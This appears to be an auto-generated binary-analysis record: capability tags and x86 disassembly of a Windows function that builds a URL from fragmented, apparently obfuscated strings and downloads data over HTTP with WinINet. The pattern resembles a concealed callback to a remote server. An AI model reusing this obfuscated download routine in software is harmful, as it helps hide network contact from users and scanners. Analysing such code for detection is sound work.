Function at 0x10042da0
Capabilities:
Connect to http server
Contain obfuscated stackstrings
Create http request
Parse url
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10094a39
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0xc58
mov eax, dword [0x100b2370]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x924], 0
push 0x100a6ecc
lea ecx, [ebp - 0xad0]
call fcn.1000dfe0
mov dword [ebp - 0x954], eax
mov eax, dword [ebp - 0x954]
mov dword [ebp - 0x9c4], eax
mov dword [ebp - 4], 0
push str..cloud
lea ecx, [ebp - 0xb90]
call fcn.1000dfe0
mov dword [ebp - 0x9a4], eax
mov ecx, dword [ebp - 0x9a4]
mov dword [ebp - 0x9b4], ecx
mov byte [ebp - 4], 1
push str.qye2
lea ecx, [ebp - 0xaa0]
call fcn.1000dfe0
mov dword [ebp - 0x9cc], eax
mov edx, dword [ebp - 0x9cc]
mov dword [ebp - 0x940], edx
mov byte [ebp - 4], 2
push 0x100a6ef0
lea ecx, [ebp - 0xbf0]
call fcn.1000dfe0
mov dword [ebp - 0x9d4], eax
mov eax, dword [ebp - 0x9d4]
mov dword [ebp - 0xa04], eax
mov byte [ebp - 4], 3
push 0x100a6ef8
lea ecx, [ebp - 0xc38]
call fcn.1000dfe0
mov dword [ebp - 0x9dc], eax
mov ecx, dword [ebp - 0x9dc]
mov dword [ebp - 0x9ec], ecx
mov byte [ebp - 4], 4
push 0x100a6f00
lea ecx, [ebp - 0xc08]
call fcn.1000dfe0
mov dword [ebp - 0x9e4], eax
mov edx, dword [ebp - 0x9e4]
mov dword [ebp - 0x9f4], edx
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x9ec]
push eax
mov ecx, dword [ebp - 0x9f4]
push ecx
lea edx, [ebp - 0xbd8]
push edx
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x9fc], eax
mov eax, dword [ebp - 0x9fc]
mov dword [ebp - 0xa0c], eax
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xa04]
push ecx
mov edx, dword [ebp - 0xa0c]
push edx
lea eax, [ebp - 0xba8]
push eax
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x958], eax
mov ecx, dword [ebp - 0x958]
mov dword [ebp - 0x9ac], ecx
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x940]
push edx
mov eax, dword [ebp - 0x9ac]
push eax
lea ecx, [ebp - 0xc20]
push ecx
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x948], eax
mov edx, dword [ebp - 0x948]
mov dword [ebp - 0x950], edx
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x9b4]
push eax
mov ecx, dword [ebp - 0x950]
push ecx
lea edx, [ebp - 0xc68]
push edx
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x9bc], eax
mov eax, dword [ebp - 0x9bc]
mov dword [ebp - 0x9e0], eax
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x9c4]
push ecx
mov edx, dword [ebp - 0x9e0]
push edx
lea eax, [ebp - 0x89c]
push eax
call fcn.10014460
add esp, 0xc
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xc68]
call fcn.1000e020
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xc20]
call fcn.1000e020
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xba8]
call fcn.1000e020
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xbd8]
call fcn.1000e020
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xc08]
call fcn.1000e020
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xc38]
call fcn.1000e020
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xbf0]
call fcn.1000e020
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xaa0]
call fcn.1000e020
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xb90]
call fcn.1000e020
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xad0]
call fcn.1000e020
push 0x100a6f14
lea ecx, [ebp - 0xb78]
call fcn.1000dfe0
mov dword [ebp - 0x960], eax
mov ecx, dword [ebp - 0x960]
mov dword [ebp - 0x9b0], ecx
mov byte [ebp - 4], 0x15
push str.arc__
lea ecx, [ebp - 0xb48]
call fcn.1000dfe0
mov dword [ebp - 0x9b8], eax
mov edx, dword [ebp - 0x9b8]
mov dword [ebp - 0xa08], edx
mov byte [ebp - 4], 0x16
push str..net__
lea ecx, [ebp - 0xb18]
call fcn.1000dfe0
mov dword [ebp - 0x968], eax
mov eax, dword [ebp - 0x968]
mov dword [ebp - 0x980], eax
mov byte [ebp - 4], 0x17
push 0x100a6f40
lea ecx, [ebp - 0xae8]
call fcn.1000dfe0
mov dword [ebp - 0x9f8], eax
mov ecx, dword [ebp - 0x9f8]
mov dword [ebp - 0x9c0], ecx
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0x89c]
push edx
push str.http:__
lea eax, [ebp - 0xab8]
push eax
call fcn.100147a0
add esp, 0xc
mov dword [ebp - 0x970], eax
mov ecx, dword [ebp - 0x970]
mov dword [ebp - 0x978], ecx
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x9c0]
push edx
mov eax, dword [ebp - 0x978]
push eax
lea ecx, [ebp - 0xa88]
push ecx
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x9e8], eax
mov edx, dword [ebp - 0x9e8]
mov dword [ebp - 0x9c8], edx
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x980]
push eax
mov ecx, dword [ebp - 0x9c8]
push ecx
lea edx, [ebp - 0xa70]
push edx
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x988], eax
mov eax, dword [ebp - 0x988]
mov dword [ebp - 0x990], eax
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0xa08]
push ecx
mov edx, dword [ebp - 0x990]
push edx
lea eax, [ebp - 0xb60]
push eax
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x9d0], eax
mov ecx, dword [ebp - 0x9d0]
mov dword [ebp - 0x998], ecx
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x998]
push eax
lea ecx, [ebp - 0xa58]
push ecx
call fcn.10014610
add esp, 0xc
mov dword [ebp - 0x9f0], eax
mov edx, dword [ebp - 0x9f0]
mov dword [ebp - 0x9a0], edx
mov byte [ebp - 4], 0x1d
push 0x100a6f1c
mov eax, dword [ebp - 0x9a0]
push eax
lea ecx, [ebp - 0xb30]
push ecx
call fcn.100145d0
add esp, 0xc
mov dword [ebp - 0x9d8], eax
mov edx, dword [ebp - 0x9d8]
mov dword [ebp - 0x9a8], edx
mov byte [ebp - 4], 0x1e
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x9a8]
push ecx
lea edx, [ebp - 0xbc0]
push edx
call fcn.10014610
add esp, 0xc
mov dword [ebp - 0xa00], eax
mov eax, dword [ebp - 0xa00]
mov dword [ebp - 0x938], eax
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x9b0]
push ecx
mov edx, dword [ebp - 0x938]
push edx
lea eax, [ebp - 0xb00]
push eax
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x95c], eax
mov ecx, dword [ebp - 0x95c]
mov dword [ebp - 0x964], ecx
mov byte [ebp - 4], 0x20
push str.tion
mov edx, dword [ebp - 0x964]
push edx
lea eax, [ebp - 0xc50]
push eax
call fcn.100145d0
add esp, 0xc
mov dword [ebp - 0x96c], eax
mov ecx, dword [ebp - 0x96c]
mov dword [ebp - 0x974], ecx
mov byte [ebp - 4], 0x21
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp - 0x974]
push eax
lea ecx, [ebp - 0x884]
push ecx
call fcn.10014610
add esp, 0xc
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0xc50]
call fcn.1000e020
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xb00]
call fcn.1000e020
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0xbc0]
call fcn.1000e020
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb30]
call fcn.1000e020
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0xa58]
call fcn.1000e020
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0xb60]
call fcn.1000e020
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0xa70]
call fcn.1000e020
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xa88]
call fcn.1000e020
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0xab8]
call fcn.1000e020
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0xae8]
call fcn.1000e020
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0xb18]
call fcn.1000e020
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0xb48]
call fcn.1000e020
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0xb78]
call fcn.1000e020
push 0x100a6f58
lea ecx, [ebp - 0x8b4]
call fcn.1000dfe0
mov byte [ebp - 4], 0x30
xor edx, edx
mov word [ebp - 0x25c], dx
push 0x206
push 0
lea eax, [ebp - 0x25a]
push eax
call fcn.1004f5f0
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x464], cx
push 0x206
push 0
lea edx, [ebp - 0x462]
push edx
call fcn.1004f5f0
add esp, 0xc
push 0x3c
push 0
lea eax, [ebp - 0x914]
push eax
call fcn.1004f5f0
add esp, 0xc
mov dword [ebp - 0x914], 0x3c
mov dword [ebp - 0x8e0], 0
mov dword [ebp - 0x8dc], 0
lea ecx, [ebp - 0x25c]
mov dword [ebp - 0x904], ecx
mov dword [ebp - 0x900], 0x103
mov dword [ebp - 0x8f0], 0
mov dword [ebp - 0x8ec], 0
mov dword [ebp - 0x910], 0
mov dword [ebp - 0x90c], 0
lea edx, [ebp - 0x464]
mov dword [ebp - 0x8e8], edx
mov dword [ebp - 0x8e4], 0x103
lea eax, [ebp - 0x914]
push eax
push 0x80000000
lea ecx, [ebp - 0x884]
call fcn.1000e170
push eax
lea ecx, [ebp - 0x884]
call fcn.1000e0f0
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
jne 0x100434cf
push 0x100a526b
mov ecx, dword [ebp + 8]
call fcn.1000df50
mov ecx, dword [ebp - 0x924]
or ecx, 1
mov dword [ebp - 0x924], ecx
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x8b4]
call fcn.1000e020
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x884]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x89c]
call fcn.1000e020
mov eax, dword [ebp + 8]
jmp 0x100438ef
mov dword [ebp - 0x928], 0
mov dword [ebp - 0x92c], 0
mov dword [ebp - 0x91c], 0
mov byte [ebp - 0x915], 1
lea ecx, [ebp - 0x8cc]
call fcn.10013bd0
mov byte [ebp - 4], 0x31
mov byte [ebp - 4], 0x32
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x8b4]
call fcn.1000e0f0
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x928], eax
cmp dword [ebp - 0x928], 0
jne 0x1004355d
mov dword [ebp - 0x97c], 0x100a526e
lea edx, [ebp - 0x97c]
push edx
lea ecx, [ebp - 0xa34]
call fcn.1004b434
push 0x100ac610
lea eax, [ebp - 0xa34]
push eax
call fcn.1005229d
push 0
push 0
push 3
push 0x100a6f5c
push 0x100a6f60
push 0
lea ecx, [ebp - 0x25c]
push ecx
mov edx, dword [ebp - 0x928]
push edx
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 0
jne 0x100435bf
mov dword [ebp - 0x984], 0x100a526f
lea eax, [ebp - 0x984]
push eax
lea ecx, [ebp - 0xa1c]
call fcn.1004b434
push 0x100ac610
lea ecx, [ebp - 0xa1c]
push ecx
call fcn.1005229d
push 0
push 0x80000100
push 0
push 0
push str.HTTP_1.0
lea edx, [ebp - 0x464]
push edx
push 0x100a6f78
mov eax, dword [ebp - 0x92c]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov dword [ebp - 0x91c], eax
cmp dword [ebp - 0x91c], 0
jne 0x10043624
mov dword [ebp - 0x98c], 0x100a5272
lea ecx, [ebp - 0x98c]
push ecx
lea ecx, [ebp - 0xa28]
call fcn.1004b434
push 0x100ac610
lea edx, [ebp - 0xa28]
push edx
call fcn.1005229d
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x91c]
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestW]
mov dword [ebp - 0x994], eax
cmp dword [ebp - 0x994], 0
jne 0x10043675
mov dword [ebp - 0x99c], 0x100a5273
lea ecx, [ebp - 0x99c]
push ecx
lea ecx, [ebp - 0xa40]
call fcn.1004b434
push 0x100ac610
lea edx, [ebp - 0xa40]
push edx
call fcn.1005229d
mov dword [ebp - 0x86c], 0x40
push 0
lea eax, [ebp - 0x86c]
push eax
lea ecx, [ebp - 0x54]
push ecx
push 5
mov edx, dword [ebp - 0x91c]
push edx
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
mov dword [ebp - 0x93c], eax
mov dword [ebp - 0x920], 0
cmp dword [ebp - 0x93c], 0
je 0x100436c8
lea eax, [ebp - 0x54]
push eax
call fcn.1004a75d
add esp, 4
mov dword [ebp - 0x920], eax
jmp 0x100436d2
mov dword [ebp - 0x920], 0x400
mov dword [ebp - 0x930], 0
mov ecx, 1
test ecx, ecx
je 0x100437b8
cmp dword [ebp - 0x920], 0x400
jb 0x10043701
mov dword [ebp - 0x934], 0x400
jmp 0x1004370d
mov edx, dword [ebp - 0x920]
mov dword [ebp - 0x934], edx
mov eax, dword [ebp - 0x934]
mov dword [ebp - 0x944], eax
lea ecx, [ebp - 0x868]
push ecx
mov edx, dword [ebp - 0x944]
push edx
lea eax, [ebp - 0x864]
push eax
mov ecx, dword [ebp - 0x91c]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10043760
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x94c], eax
mov edx, dword [ebp - 0x94c]
mov dword [ebp - 0xa10], edx
mov byte [ebp - 0x915], 0
jmp 0x100437b8
mov eax, dword [ebp - 0x930]
add eax, dword [ebp - 0x868]
mov dword [ebp - 0x930], eax
mov ecx, dword [ebp - 0x920]
sub ecx, dword [ebp - 0x868]
mov dword [ebp - 0x920], ecx
cmp dword [ebp - 0x868], 0
jne 0x1004378f
jmp 0x100437b8
mov edx, dword [ebp - 0x868]
push edx
lea eax, [ebp - 0x864]
push eax
lea ecx, [ebp - 0x8cc]
call fcn.10014160
cmp dword [ebp - 0x920], 0
jg 0x100437b3
jmp 0x100437b8
jmp 0x100436dc
jmp 0x100437d2
mov dword [ebp - 4], 0x31
jmp 0x100437e2
cmp dword [ebp - 0x91c], 0
je 0x100437f8
mov ecx, dword [ebp - 0x91c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0x92c], 0
je 0x1004380e
mov edx, dword [ebp - 0x92c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0x928], 0
je 0x10043824
mov eax, dword [ebp - 0x928]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
movzx ecx, byte [ebp - 0x915]
test ecx, ecx
je 0x10043891
lea edx, [ebp - 0x8cc]
push edx
mov ecx, dword [ebp + 8]
call fcn.100100a0
mov eax, dword [ebp - 0x924]
or eax, 1
mov dword [ebp - 0x924], eax
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x8cc]
call fcn.1000df90
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x8b4]
call fcn.1000e020
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x884]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x89c]
call fcn.1000e020
mov eax, dword [ebp + 8]
jmp 0x100438ef
push 0x100a5276
mov ecx, dword [ebp + 8]
call fcn.1000df50
mov ecx, dword [ebp - 0x924]
or ecx, 1
mov dword [ebp - 0x924], ecx
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x8cc]
call fcn.1000df90
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x8b4]
call fcn.1000e020
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x884]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x89c]
call fcn.1000e020
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10048fad
mov esp, ebp
pop ebp
ret